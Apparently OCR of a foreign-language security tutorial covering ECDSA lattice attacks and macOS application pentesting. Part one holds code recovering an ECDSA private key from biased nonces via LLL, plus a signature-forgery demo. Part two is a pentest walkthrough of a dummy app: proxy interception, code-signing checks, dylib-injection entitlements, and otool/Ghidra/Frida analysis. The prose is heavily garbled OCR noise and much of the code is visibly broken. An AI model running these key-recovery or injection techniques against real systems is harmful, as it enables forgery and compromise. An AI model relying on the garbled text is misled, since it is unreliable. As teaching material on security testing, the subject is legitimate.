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Lo, *xo o1 ~ Latticd , ¥4 -, o~k T X4 XY~ s X Lo
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ecdsa.ecdsa curve_256, generator_256, Public_key, Private_key
Crypto.Util.number bytes_to_long, long_to_bytes
hashlib shal

random

def build_matrix (signatures , bias, Q):

BO ml m2m2..mn
0B/qrir2r3..rn

00

00 q*l

00

rowl = [bias, 0]

row2 = [0, bias o]
m, r, s signatures:
rowl.append((inverse_mod(s, q)
row2.append((inverse_mod(s, q)

top_rows Matrix(QQ, [row1, row2])

zero_col s = zero_matrix(QQ, len (signatures), 2)
ql g * identity_matrix(QQ, len (signatures))
bottom_rows block_matrix([[zero_cols, ql]])

M = top_rows.stack(bottom_rows)
M

find_private_key (L, signatures , public_key ):

generator public_key.generator
g = generator.order()
row L.rows():
i range (len (signatures)):
m,r,s signaturesi]

possible_k row[i +2]

k [possible_k, possible_K]:
d = inverse_mod(r,q) *(k*s-m) %q
d* generator public_key.point:
d

curve curve 256
generator generator_256
g = int (generator_256.order())

secret_key 1793056234309773077862125006843383726029262764680727851636
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public_key Public_key(generator, generator secret_key)
private_key Private_key(public_key, secret_key)

messages_to_sign [
"And then | go and spoil it all" ,
"By saying somethin' stup id like"
"l love you"

]

signatures 1
message messages_to_sign:
message_hash = bytes_to_long(shal(message.encode()).digest())
k = bytes_to_long(shal(long_to_bytes(random.randrange(q))).digest())
signature private_key.sign(messa  ge_hash, k)
signatures.append((message_hash, signature.r, signature.s))

bias 27160
M = build_matrix(signatures, bias, q)

L = M.LLL()

found_key find_private_key(L, signatures, public_key)

found_key secret_key
print ("success!" )
print ("The secret is:" , long_to_byte s(found_key).decode())
o + 1 x Fde s e xS 1T+, . *u F
« b+ 4. XGHAT F A dA~RTx 0oL s QK Jor bk S
D e . A Coe s 4L Fdod X
T T o PN A T B P S
FeoooS o4 xx b xS ¢ x g 1179 ]
] L I x s =x 1" R v XS LN

success!
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11 s 1

. X s

The secret is: | am Jack's broken heart

x4l x x4 ] .
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generator_256

Crypto.Util.number

hashlib
random

sha256

bytes_to_long

def hash_message message):
bytes_to_long(sha256(message.encode()).digest())

def verif y(public_key , G message r, S):
n = G.order()
r 1 r n- 1 s <1
False
hash = hash_message(message)
ul = (hash inverse_mod(s, n))
u2 = (r inverse_mod(s, n))
P=ul* G+ u2 * public_key
P.x() n r

def

G
n

private_key
public_key

message
sign(private_key

r,s

X

sign ( private_key
n = G.order()

, G message:

k = random.randrange(n)
hash hash_message(message)

r (k G).x()

n

s = inverse_mod(k, n)

r,s

generator_256
G.order()

(hash + r private_key)

random.randrange(n)
private_key

"Let me be the one that shines with you"
, G, message)

verify(public_key, G, message, r, S)

random.randrange(n)

fake_G = x * public_key

fake_private_key inverse_mod(x, n)
fake_private_key private_ key
fake G G

evil_message "Where did | go wrong?"
r,s sign(fake_private_key, fake_G, evil_message)
verify(public_key, fake_G, evil_message, r, s)

« 1 s o] loxox X s I x s L ,_-|vIm1],,”.y1,,g¥,,1]‘xx]Is>¢ x 1 x{d

1 Lok d 4 psq 11, Axc LX 1Ty X 1x¢ 1
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-~ Understanding Cryptography -~ , , s 1 x T 1. 4 _ -9 i
:Christof Paar

https://gnanavelrec.wordpress.com/wpontent/uploads/2019/06/2.understanding

cryptographyby-christofpaar.pdf
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https://en.wikipedia.org/wiki/Elliptic curve point multiplication
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https://www.youtube.com/watch?v=vnpZXJL6QCQ

:Christof Paar - +- Double And AddECDH , * x 4 _  *EGDLP, + A%« 1. " ¥ o s

https://www.youtube.com/watch?v=zTt4gvuQ6sY

DX s " . SecdrityLevel XY p v (. % s

https://en.wikipedia.org/wiki/Security level

ECDH L * | 5 9
https://en.wikipedia.org/wiki/Ellipticcurve Diffie%E2%80%93Hellman

.ECDSAL . -~ § ., s
https://en.wikipedia.org/wiki/Elliptic Curve Digital Signature Algorithm

:ElGamal + x4 00 L,

https://en.wikipedia.org/wiki/EIGamal signature scheme

ST K ds s A L,

https://en.wikipedia.org/wiki/Chinese remainder theorem
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0-the-conditionfor-non-singularity
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https://en.wikipedia.org/wiki/Lattice problem#Closest vector_problem (CVP)
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L— Contents
Info.plist
Mac0S
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PkgInfo
Resources
Assets.car
Base.lproj
L— Main.storyboardc

Info.plist
MainMenu.nib
NSWindowController-B8D-@N-5wS.nib
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Dummy Application

VXY A A - Sy S O L X d

Unencrypted data over the network
Various entitlements
Invalid code signature

Load dylibs that can be hijaake 1

D ST IR TR S SIS B3 I B 1 > S I R B T ST R

Dummy app

->PRESS<-

Send HTTP request

DA BWift D | % 4w« A1 L W KT e DTS YOO T X
® " i, HTTR x ST A4 _ < xpaw 7 A3 g xX A4 X3 8§ « <5

X " uh o As o AlixTae s

Cocoa

class ViewController NSViewController  {
IBOutlet weak var textField NSTetField
IBOutlet weak var textLabel NSTextField

IBOutlet weak var jhonny : NSImageView
override func viewDidLoad () {
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super . viewDidLoad ()

jhonny.isHidden true

}

override var representedObject Any? {
didSet {
}

IBAction func buttonClicked (_ sender

var text textField.stringValue
text.isEmpty {
text "Boom"
}
let start ">>\ (text)!"
textLabel.stringValue st art
jhonny.isHidden false

IBAction func sendRequest(_ sender Any) {
let url URI(string "http://127.0.0.1:9999"
var request URLRequesturl url)

request.httpMethod "GET"

let sess ion URLSession.shared
let task session. dataTask (with : request) { (data, response, error) in

let error error {
} let data data {
} {
}

task. resume()

« App Sandbox entitlementrt © <1 L X « { XEodets _ ! macOS 44« + Hui o+
®©! 1. 5 1 *cépabilitie®: x ¢ ¥ ] { s
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n dummy : B My Mac

& app
dummy
|[| General Signing & Capabilities Resource Tags Infa Build Settings Build Phases Build Rules

Al Debug Release
PROJECT

dummy v Signing
o Automatically manage signing
TARGETS
dummy Team Add Account...
Bundle Identifier dummy.app
Provisioning Profile None Required

Signing Certificate | Sign to Run Locally

w _._ App Sandbox

MNetwork Incoming Connections [Server)
Outgoing Connections (Client)

Hardware Camera
Audio Input
usB
Printing
Bluetooth

Contacts
Location
Calendar
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All ltems Passwords
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Trust
Name: Keychain Expires

When using this ceftiicaty: [Always Trust

om
Secure Sockets Layer (SSI) | Always Trust
I | & b | | om Secure Mail (S/MIME]) [Always Trust
5 Extensible Authenticati Always Trust
[E§ PortSwigger CA i ety IP Security (IPsed) [Always Trust
Code Signiny [Always Trust
Time Stamping (Always Trust
X.509 Basic Policy [Always Trust

Details
Subject Name
Other Name PortSwigger
Other Name PortSwigger
Other Name PortSwigger
Organization PortSwigger
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CIL Y Automatic proxy configuration

ICEE Web proxy (HTTP)
DNS

WINS Secure web proxy (HTTPS)

802.1% Server 127.0.01

Proxies Port 8080|

Hardware Proxy server requires password

Your

SOCKS proxy

Exclude simple hostnames

Forget This Network...
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Wireshark
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ve Xoan 18 G U 4 Y e H T e X AR N TR e X Y
Wireshark¥ _ ¥ %3 A H~_ ~ _ X ps” 4 «Wiresharke s ~» x X 1% 547

@®or Pentester: A Beqginner's Guide

4 Hypertext Transfer Protocol

v GET /supersecret.file HTTP/1.1\r\n

[Expert Info (Chat/Sequence): GET /supersecret.file HTTP/1.1\r\n]
Request Method: GET
Request URI: /supersecret.file
Request Version: HTTP/1.1

Host: www.stam—dummy.com:31337%r\n

Accept: #*/#\r\n

Accept-Language: en-GB,en-US5;q=08.9,en;q=0.8\r\n

0038 44 3e 7f 27 11 Bc c7 d4 47 45 54 28 2f 73 75 D=>-f GET /sup

@248 65 72 73 65 63 72 65 74 2e 66 69 6c 65 48 ersecret .fi'ldj-lT

@58 54 508 2f 31 2e 31 @d @a 48 6T 73 74 3a 20 77 TPf1l.1:+ Host: ww
77 2e 73 74 61 6d 2d 64 75 6d 6d 79 2e 63 6T w.stam—d ummy.com
3a 33 31 33 33 37 @d 0a 41 63 63 65 7@ 74 3a 131337 - Accept:
Z2a 2T 2a @d @a 41 63 63 65 78 74 2d 4c 61 Ge */%--Acc ept-Lang
75 61 67 65 3a 20 65 6e 2d 47 42 2c 65 6e 2d uage: en —GB,en-U
53 3b 71 3d 3@ 2e 39 2c 65 Ge 3b 71 3d 38 Ze 5;0=0.9, en;q=0.8
@d @8a 43 6T 6e G6e 65 62 74 69 6T 6e 3a 20 &b - -Connec tion: ke
65 70 2d 61 6c 69 76 65 @d @a 41 63 63 65 7@ ep—alive --Accept
2d 45 6e 63 6T 64 69 6e 67 3a 20 67 Ta 69 7@ -Encodin g: gzip,
28 64 65 66 6c 61 74 65 @d @a 55 73 65 72 2d deflate --User-A
67 65 6e 74 3a 20 64 75 6d 6d 79 2f 31 28 43 gent: du mmy/1 CF

Static FileAnalysis

XA T s 4 Nas Ss 4 L] 0 1041 s glac0S 4 4 L ST iTHL0 X

~

1% ) 70X D] L xSDH 1 Ayl T 9l s, edtitlementsy: x « L2 ox Lo, s,

~ ~ ~

D4 v X F Lo AT xS fisy] XR o’ LI L T X 4 0T xS

>

K 14%

~

ol en® x ] s . I 5 S oasx{"0 ,I \xlsxml_xs”'|51 X "xy"osis 4 L ¥ I 4 x

~ v

Pt AOX X X TS IS L A X e XSS X ST v« i s

"k kigx . o 0x

~
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https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/
https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/
https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services

T X T v 0 r x4 TS e e X IS YT X Dy X kX ]

> ~

S A X s s iss, SHXC i, avXs 10 1 s

v ~ a ~ ~

drusted root certificate store x | x., yi.s X

15 410G X DX T B I L« A A48 F d | Wk HX O Windowst | X ¥ 4 7 X

~A v

L IvEn dvepOSt L 1 sAppled 'u 4 " - Developer ID ! x ¢ I xiv {1~ macOS

a ~

1 IApp|e-| I 10 x . . X X . XooX Hesx X 49 4« « 4% ’i°1x|_s'|_|v,,xll X oo Xx 4« L . S

~ o~ >

Gatekeeper ! 1. s 4L, LNy x

~

.1 Bad0S X ST S .14 1%ssiL 1s 1 +% 44 v x { Gdtekekper

°

Fd T o xAppler (x4 v TRAE L X {0 e 8y ~Gatekeepert 2 1

> ~

S, X s osiloxp 5 ox < B4 .« {ree DoveloperID P ox x ¢ *Appletx o~ 7

Pxsdwdy "essxs ol wsmacOS L s sl .~ Gatekeeped L 1

>

X E e Loy wx o8 " X ]t d Lisl Ghatekeepert - x4 T diIx T queexdl 40 TH ) x0T

>

AMDMOF 4 T A4 " XIS 74X il 40 0 Xy ox

hasht v xo 0 3 « «d o A~ H o * 30 d@besignt o J X _HILA Z xPd XS0 47
b0 X 05 x4V hashi « 4 83 _

¥4 oA x &8s 40 QY 4 s]3F Xsslox & s sl A

codesign -dvv "<path to application>"

Daniels—-MacBook-Pro:macos—pt daniel$ codesign —-dvv dummy.app/
Executable=/Users/daniel/macos—-pt/dummy.app/Contents/Mac0S/dummy
Identifier=dummy.app

Format=app bundle with Mach-0 thin (x86_64)

CodeDirectory v=20500 size=778 flags=0x10002(adhoc,runtime) hashes=14+7 location

=embedded

Signature=adhoc

Info.plist entries=25

TeamIdentifier=not set

Runtime Version=12.3.0

Sealed Resources version=2 rules=13 files=5
Internal requirements count=0@ size=12

FeSTY XIS HSD A L T Y HS T sis 4w 4T IS RE A X

G0, R A XS G H D DTS T ssT {s Lx DXl s 4o q L s

> a~ > >~ ~ ~ ~ A~ v ~ v >

xS 4Ty S XA A S0 kT WA s i SRy . s

~ > ~ a ~ ~

Lo_- X oSu. w X Isxq{1x{d{f & x Feamldentifier Tepmldentifielys ! 4« ss> Ly I s

~

S v xR X] cw {d A,  Appled T84T kx4, 400
MMacOSs ~ 1 |

~
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https://support.apple.com/en-ie/guide/security/sec5599b66df/web

Codedgning APL ~+ 4, T4 4 Ay 15 7 xse X DeIxsT o Rive? x (7 i dm o X

~ > v oo~

XLk L8z 4 X, 10 x4l - D XaBhoes X A e o S X XS0 4 7 ] A

1o X AMppler _- x4 v« A, RS xI4L. s, 448 4 4P 18 Apple
o A4 TS LY x P Al Y-xHr . * « Teamldentifier

HardenedRuntime

@ x s 4 .« iy, Hardened Runtimé v « s 1 <« s« {1 X T H X Lx ¥ X

ook 4 Aexd x4 14 s 7 |ox puntime-s T Y SIP+ ! 1 Hardened Runtime

demory corruptiom dylib hijackingt *:w« » ¥ X = < -

. I < is 41 H&rdened Runtimeé -« sy sis Llw DX oL x T

a ~ > v v o~ ~

®@odesigre ! x « 1. CbdeDirectory -~ x ¢ ¥ ¥ X %+{1 L 3®tCodeSignatureFlags

L, .1 0x04 ~» v D w 2ox ixx "k, « b 4 8Y i sSecCodeSignatureFlags
., 1 .. y%\vvsxsiﬁ‘q; . va,:’%(ps'|-|x.\x "xdwed o~ II”x:1.‘w.|3[|-],,\ "y X s

Yol XX T ST X 4 Nk oSS X rBRcOS ! xia_ 4 1T

Daniels-MacBook-Pro:macos-pt daniel$ codesign —-dv dummy.app/
Executable=/Users/daniel/macos—pt/dummy.app/Contents/Mac0S/
Identifier=

Format=app bundle with Mach-0 universal (x86_64 armé4)

CodeDirectory v=20400 size=544185 flags=0x@(none) hashes=16995+7 location=embedd
ed

Signature size=4797

ABLR _:Jx "iysy xsEsST ., 16 s 1 Wisx { 41§ 4.« 4w s 0x10000L ¥ | s

IS S SIS U S I N R PR S SP AL B SO RIS S SU N

s X TH s oy x RE L xx fpsqepx Al s A x KISo L, €8 Tl )X L

L s 1 _ < s 4% {11 1adhoc 0x000Bs _ 4 * 0 Ox10002 ¥ IS IS4 4L«
YOmnnoaad, ¢

Daniels—MacBook-Pro:macos—pt daniel$ codesign —-dvv dummy.app/
Executable=/Users/daniel/macos—pt/dummy.app/Contents/Mac0S/dummy
Identifier=dummy.app

Format=app bundle with Mach-0 thin (x86_64)

CodeDirectory v=20500 size=778 flags=0x10002(adhoc,runtime) hashes=14+7 location
=embedded

Signature=adhoc

Info.plist entries=25

¥YAid - pdaux s 1

kSecCodeSignatureHost (0)°(0[0[0k may host guest code
kSecCodeSignatureAdhoc (0)°(0[0[0128 must be used without signer

kSecCodeSignatureForceHard 0x0100, always set HARD mode on launch
kSecCodeSignatureForceKil | 0x0200, always set KILL mode on launch
kSecCodeSignatureForceExpiration 0x0400, force certificate expiration checks
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https://www.youtube.com/watch?v=5vYPurBAW9k
https://developer.apple.com/documentation/security/hardened_runtime?language=objc
https://developer.apple.com/documentation/security/seccodesignatureflags?language=objc
https://developer.apple.com/documentation/security/seccodesignatureflags?language=objc

kSecCodeSignatureRestrict 0x0800, restrict dyld loading

kSecCodeSignatureEnforcement 0x1000, enforce code signing

kSecCodeSignatureLibraryValidation 0x2000, library validation required

kSecCodeSignatureRuntime 0x10000, apply runtime hardening policies

kSecCodeSignatureLinkerSigned 0x20000, identify tha  t the signature was auto
generated by the linker

FoAl X114 s sl « 1@ X*Hardened Runtime - x 0 X ] 3¢ 5 x ] 4iaxd v T4 ], -

>

Tt Google Chromeé Ir 4 "  $Z ¥ xx@, 4s.” ¥ s1 *{.l Runtime Exceptiors . _ - _ S 1

Justin-Time (JI, * -4 * d { cobm.apple.security.cs.allejit * _-1*x ¥ {+.41_*_ ‘Firefox

YJavaScript X1« _

Runtime Exceptions Allow Execution of JIT-compiled Code

Allow Unsigned Executable Memory

Allow DYLD Environment Variables

Disable Library Validation

Disable Executable Memory Protection

Debugging Tool

Foew X P34 40 v 37 388« 4y XS § 1 X Ruptime Exceptions . | | s

> < ~

entitlementgt © « 44 14 x ¥ . WSy o 40 0L

>

Entitlements

S 4 Y x XXX LA xX g vy L8Sy L, sX x4 L1 8 {1 7 smEntitlements

>

XX g e xS, T T T o B x o L ises] X 4 x|

dx .« .t x2S HA 4L

v ~ A A

s dsd ] A Nssd .« {u_entitfementst ¢ . 4 D oaa x P4 x0T

¥ « Xssl x & (sqsl. {codesign L 1 *

codesign -d -- entitlements ; path to binary file
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https://developer.apple.com/documentation/security/hardened_runtime#3111188
https://developer.apple.com/documentation/bundleresources/entitlements

S 1ox s qsIid THITC@AXILAS . . otbol Lt X T .sx_ Dol r ¥ 1S ¢ 47

jtool2  -ent ~/dummy.app/Contents/MacOS/dummy

FoooeX ¥ X L S ] XD x 4D XS T BT 4o entilementst 1 X D41
1 Jud *x»ssi4uphd ~ + ,allow-dyldenvironmentvariables. entitements_ $ 1 « « {4 1 | -

M __d9X 1~  D9libInjection. s 1s¥{ « « 4L S

A >

<?xml version="1.8" encoding="UTF-B"?7>

<|DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.@8//EN" "http://www.apple.com/DTDs/PropertylList-1.@.dtd">

<plist version="1.8">

<dict>
<key>com.apple.security.app—sandbox</key>
<true/>
<keyscom.apple.security.cs.allow-dyld-environment-variables</key>
<true/>
<key>com.apple.security.cs.disable-library—validation</key>
<true/>
<key>com.apple.security.files.user-selected.read-only</key>
<true/>
<key>com.apple.security.network.client</key>
<true/>

</dicts

</plist>

s _ ¥ entitlements- | T L S L

X g 47 4N $HL o~ Ao com.apple.security.cs.disablibrary-validation

S B T N
P I R B B com.apple.security.cs.allogyld-environmentvariables

S I
Al des s s oo dL v com.apple.security.getask-allow
x40 Tx o x 1y com.apple.security.cs.allownsignedexecutablememory
x I, xs D44 s X com.apple.security.files.downloads.reaite
TXx s o X s com.apple.security.device.came

10 x% 4. ‘entiflementss _ + «* 1~ 1 XX 4 YA s (A ¥ sS4 xs 4 4L

a ~ ~ v~ 8 ~ >

qplsvs xsx~y.[ \{’ .

S X ., _ =S q{ .« 1s« + "com.apple.security.device.camefa~ _ » SSZ ¥ x | |

~ o~ ~

@PCG L4 1« x Ssse L wACOS11(BigSmre 1% ¢ _® : _ pss . X

~ ~ v o~ v ~

Fd_ot _s1 A4 ¥y sto0os s 4 ¥ x ¢ % STdarispaency, Consent and Control _~ X OTCC
S Y X XX A AW ) T K X sEad DX ¥E L
= X:S":X]E'l..l.-"-il-l,_,]v

s x$d TCE Leed " XD T
d 4 o TIx .18 x99 11 s windows

LSk _4Ms KTy

Tt elevation promptt s | x|

~ ~ v
ona
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http://www.newosxbook.com/tools/jtool.html

Hacks and Tricks

x , 4 k J 1 k X 1% x A ,,Z~x)+xl Ax-|ss(‘,‘l)kH "|><x“:|_-|~l”x ”Zxx~“ 1 "VJZ-|:<§ L 17

MacOS _ x _ {1 41~*

i X Hy s 94« « i ¥ 8 1 Sl X { 4 v X IXqisx ( xi x"(s{ ? 14 s

> v > ~ v

Xcodes ! x & o0 b4 ciSd AU dEold L 1 E LD e B T i dd s N4 X

¥ X o oS LTSI AR {4 Tos x4 ss A%y Jjtoold L 15 ¢x &

~ v ~ o~ ~ > ~v

Y x 7 X XX . 4% i ” J L X

Daniels-MacBook-Pro:macos—-pt daniel$ otool -L dummy.app/Contents/Mac0S/dummy

dummy . app/Contents/Mac0S/dummy :
@Prpath/custom.dylib (compatibility version 0.0.0, current version 0.0.0, weak)
/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (compatibility version 300.0.0, cu
/usr/1lib/libobjc.A.dylib (compatibility version 1.0.0, current version 228.0.0)
/usr/1ib/1ibSystem.B.dylib (compatibility version 1.0.0, current version 1311.100.3)
/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit (compatibility version 45.0.0, current vers
/usr/1lib/swift/libswiftAppKit.dylib (compatibility version 1.0.0, current version 109.0.0)
/usr/lib/swift/libswiftCore.dylib (compatibility version 1.0.0, current version 5.6.0)
/usr/lib/swift/libswiftCoreData.dylib (compatibility version 1.0.0, current version 19.0.0, weak)
/usr/1lib/swift/libswiftCoreFoundation.dylib (compatibility version 1.0.0, current version 14.0.0, weak)
/usr/1lib/swift/libswiftCoreGraphics.dylib (compatibility version 1.0.8, current version 2.0.0, weak)
/usr/lib/swift/libswiftCoreImage.dylib (compatibility version 1.0.0, current version 2.0.0, weak)
/usr/1lib/swift/libswiftDarwin.dylib (compatibility version 1.0.0, current version 0.0.0, weak)
/usr/1lib/swift/libswiftDispatch.dylib (compatibility version 1.0.0, current version 11.0.0, weak)
/usr/1lib/swift/libswiftFoundation.dylib (compatibility version 1.0.0, current version 72.105.0)
/usr/1ib/swift/1libswiftIOKit.dylib (compatibility version 1.0.0, current version 1.0.0, weak)
/usr/1lib/swift/libswiftMetal.dylib (compatibility version 1.0.0, current version 261.13.0, weak)

Y A AshsE ¥ xe @ d Jesd T 5 D ox s kg x XD o4 X 8T 4 hBS Iox W xs oo L X
S X & owsq LS LB LosX Xl {XL x X 1 S,,

nm <path to file

s xd 1 9% ¥ s ., xs, X T"s Xx 4 008 4 XGUxxooxxl {4 oW 1.~ ”1X1’Z- Jsx I X

~ A ~ ~ ~ ~

_ObjC: X L -|2Jxv Is. sq¥ x s> I ) X "\.:JS>: X C T o s L XX 4u v ¥ A XX 9

Do, ox 4 X%swit @ x 0 40X $ . ObjectiveCt s 18 4. w4l lesx X

~ > ~ A ~

¥ o« LdsISwiftfs 1 x4 w4, v s

_objec_retain
_objc_retainAutoreleasedReturnValue
_swift_bridgeObjectRelease
_swift_deletedMethodError
_swift_getTypeByMangledNameInContext
_swift_release

_swift_retain

_swift_unknownObjectRelease
_swift_unknownObjectRetain
_swift_unknownObjectwWeakAssign
_swift_unknownObjectWeakDestroy
_swift_unknownObjectWeakInit
_swift_unknownObjectwWeakLoadStrong
dyld_stub_binder

cCcCcCcCcCccCcCcCcCcCcCcC

P4 L1 % desqud xXlggsd s AR X T IR T YAl A 4 T v X 1T 4T

~v A >

qD-IxXX\'”V‘I:‘- X\X
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https://www.unix.com/man-page/osx/1/otool
http://www.newosxbook.com/tools/jtool.html
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v

¥ o dhdd S HAX S

@ X F s LX)« XJEON - X xplist, XMLTYx iy x ], w0

~/Library/Log 1 1 ~r 1, <X dl- VIdgsd « X 9«

44, .Y .« x SDLiter _r 4" "f X 4" 1 xcachesi . * §
Serd "X PO A L p 14 | X w4 % & T L H /Library/Caches

BQLitestudida SQLite Browser *+¥4le 4«

® Open Database @ Open Project & Save Project B Attach Database ¥ Close Database

Database Structure  Browse Data  Edit Pragmas  Execute SQL Edit Database Cell

R New Database

[E cfurl_cache_re

| IsDataonFs recalver _data

<IDOCTYPE HTML PUBLIC *~/W3C//DTD HTML 4.01/EN"
<IDOCTYPE HTML PUBLIC *-/W3C//DTD HTML &.01/EN"
sucret
GDFEIED2-4DCD-42BA-B3C6-2D9BCACA2886
wac y JEN® - .
B = Type of data currently in cell: Text / Numeric

EHTML PUBLIC *-//W3C/{DTD HTML 4.01//EN"
7 character(s)

(IENCARI Y )

cx o4 kd T s 4 v« A e s iahs s 4 D o¥ %0 ARtivity Monitore - o x 0 12 s X
YOpen Filesand Poks 1 1 | 4 1k Lxx 4 «&.s7 ’AEtivity Monitor: X1 @ &% ¢

Parent Process: User: daniel (501)
Process Group: (56809)
% CPU: 0.00 Recent hangs: 0

Memory  Statistics = Open Files and Ports

/Users/daniel/Library/Containers/dunmy.app/D
pnvate/var/fnlders/qudeanleSthBZkblkqrdﬂdeWan/T/AppYrans\oca(mn/AEEBBBDB -983B-4BCA-AFCB~@A3A260350FD/d/dummy 2.app/Contents/Mac0S/dummy
/Library/Preferences/Logging/.plist-cache.FuOvhq)

/usr/share/icu/icudt701.dat

/Systen/Library/CoreServices/SysteaVersion. bundle/EngLish. proj/Systesvers ion.strings

/private/var/db/timezone/t2/20229.1.0/icutz/icut2441.d

/Systen/Library/CoreServices/SystemAppearance, bunale/(nntems/Resnur(es/iys(eMppearance car

/Systen/Library/CoreServices/SystemAppearance. bundle/Contents/Resources/DarkAqua.

7Systen/Library/CoreServices/Systenppearance. bundle/Contents/Resources/FauxVibrantbark. car

/Systen/Library/CoreServices/SystemAppearance, bundle/Contents/Resources/VibrantDark. car

/Systen/Library/Input Methods/EmojiFunctionRowIM.app/Contents/PlugIns/EmojiFunctionRowIM_Extension.appex/Contents/Resources/InfoPlist. loctable
/private/var/folders/zq/2dkfnx135x8t82kb1kqrd@40000gn/C/dunmy . app/dunmy . app/com. apple . metal/31001/1ibraries. data
/private/var/folders/zq/2dkfn8x135x8t82kb1kqrdd48000gn/C/dunmy . app/dummy . app/com. apple . metal/16777237_9765638/ functions. data
/private/var/folders/zq/2dkfn@x135x8t82kb1kqrd048000gn/T/AppT rans locat 1on/AEBOBEIB-IB3B-4BCA-AFCB~@A3A260350FD/d/dunmy 2.app/Contents/Resources/Base. lproj/Main. storyboardc/MainMenu.nib
/Systen/Library/PrivateF rameworks/SFSymbols. f ramework/Versions/A/Resources/CoreGlyphs. bundle/Contents/Resources/Assets.
/private/var/folders/zq/2dkfn@x135x8t82kb1kqrd@4ee0egn/T/AppT rans locat ion/AEBOBBIB-IB3B-4BCA-AFCB-0A3A26D359FD/d/dummy 2.app/Contents/Resources/Base. lproj/Main. storyboardc/NSWindowControll
/usr/1ib/1ibobjc-trampolines.dylib

/Systen/Library/Frameworks/AppKit. framework/Versions/C/Resources/Common. loctable

/Systen/Library/Frameworks/AppKit. framework/Versions/C/Resources/InputManager. loctable

/Systen/Library/Frameworks/AppKit. framework/Versions/C/Resources/DictationManager. loctable

/Systen/Library/Frameworks/AppKit. framework/Versions/C/Resources/TextTouchBar. loctable

/Systen/Library/Fonts/SFNS. ttf

/Systen/Library/CoreServices/SystemAppearance. bundle/Contents/Resources/Aqua. car

/private/var/db/analyticsd/events.allowlist

/private/var/folders/2q/2dkfnéx135x8t82kb1kqrd@480e0gn/T/AppTrans locat 1on/AEBBEIS-9B3B-4BCA-AFCB~BA3A26D359FD/d/dummy 2.app/Contents/Resources/Assets. car
/Systen/Library/Fonts/Helvetica. ttc

/Systen/Library/Caches/con.apple. IntDataCache. le. kbdx

@ctivity Monitor* + 4 ¥ L ¥k s Tisqy | oo d 1y XS

>

SR xB L B e T A, X X T S Y X o kT

~ ~

DX lpxyn Xl S 4T ST Y x L, X e s X X L X e

dDA ProHopper Disassemble&hidraX _~Jc * _ , « 1
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https://github.com/NationalSecurityAgency/ghidra
https://www.hopperapp.com/
https://hex-rays.com/
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XS99 ] %@ vl X 44 XX o { x a3l . L A

10 XX

Wl oxxedd o

XX 3% 4,5 1 %%« {mem tion: > {i¥ ¥ X
Y, xkxs*x 4.5 1 +% X {memory corruption- SXON
FEL CodeBrowser: test:/dummy
File Edit Analysis Graph Navigation Search Select Tools Window Help
1 ¢=-=- BRBED JIDULFEYE- @ v /JEIEODG..00® |4
Program Trees w0 ® x| [EEag iy F &k - :
e | 5 uisting: L] e FUN_100002140 % @~ x
BF dummy
B _tea . void FUN_100882148(void)
[() _pata_const undefined FUN_100002140() {
[ _oaa AL <RETURN> et
@ “weor katk|-8x38]18 nea weriz: ot detived i
B Exrera L o undetineds iard;
E wlong
N wlong
) tong ;
d8 Stan ocal 48 XREF 2] undet ined [161;
FUN_100002140 mex (7 = _stubs::_swift_unknownObjecteakLoadStrong
C 1 i ”
100002140 55 push
o — 0 -8
rogram Tree 100002141 48 89 €5 oy X Y ¢
|- Symbol Tree > x Toeserias 1 o0 i g invalidlnstruct ionException();
B Imports 100002148 41 55 PUSH ¥ shdlal trum 3y
D Exports 100002142 41 54 PUSH i weasend R
&) funcions sz 53 PusH N e reta hutorsassedhesarmial urard);
FUN 1 0 c 8 M c gard per + local s8], = SUB168(
10800215¢ dc @1 ef ADD B (#(cade ») i i
1 10800215 €6 38 ab L __stubst:_swift_unknown0bjecthenkLoadStrong o Gt
00 00
= (ulong! -
100002164 48 85 @ TesT " uiard = {utong) (SImI5aL »
100082167 of 84 5a 3 LaB_ 10080227 i " ol —
o1 00 00 , = sus1ss L) & oxfErrErETIee
10800216d 45 89 c4 Hov , Y )
TenT BB W =>s_stringValue_100003679, quord ptr [PTR_s ... 11¢_bridgedbjectheleaselars}
ConCATEB  xe020000¢ 0,0 23
100002177 48 89 7 L " ¥ ¢
= | e J eSSbamenarss SRIGH .
T “as K tic retainstorslassadihetersiale +_swift_bridge0bjectRelease(
23 Dara Types 100082182 8 9 8a L __stubs::_objc_retalnhutoreleasedheturnvalue b
§ sunypes
Sdummy 100002187 48 89 <3 wov ! -
B macos Gy Decamplle: FUN_100002140 » ¥ Functions =
* Console - Seripting 7 %
Filer
I [100002151 [ FUN_100002140 | CALL 0x100002¢9¢

Dynamic Analysis

Moxn b S oL

A4 X Adopxs s A

cx L EHO A KAXI] + 11 408 0Apple Instruments

>

D1 Nds x4 ]

All Tracks

Logical Writes
Legical Reads

Filesystem Suggestions
LI |

Disk Usage
| |

Disk I/ Latency

am Statistics <

Syscall /| Process Count Logical Writes Logical Reads Other Filesystem Byt... Duration Min Duration

* Al =
¢ lseek
stat64
* sys_fstat64
+ open_nocancel
* open

* sys_close

16.68 KiE
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes

A2 KB
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes

150.87 MIE
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes
0 Bytes

3311 ms
1.84 ms
4.68 ms

764.55 us
3.86 ms
7.50 ms

185.92 us
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https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html
https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html

P XXk sk sy 4 R 1 d g X2 v x4+, mTaskExplorer
®41x

@11 xBF T XAl X Haox fHIlEMonitor

®4 1 e s X %, %0+ x JHrdcessMonitor

@119 w «XXIPhed, | PS§ 150 x4 . Mk | i) Trida

@ X dfridat 1~ x* x X

Frida

s {p® X X 1 4dd 4 _APRAS _ L v X T kA4 " KA IX Frida

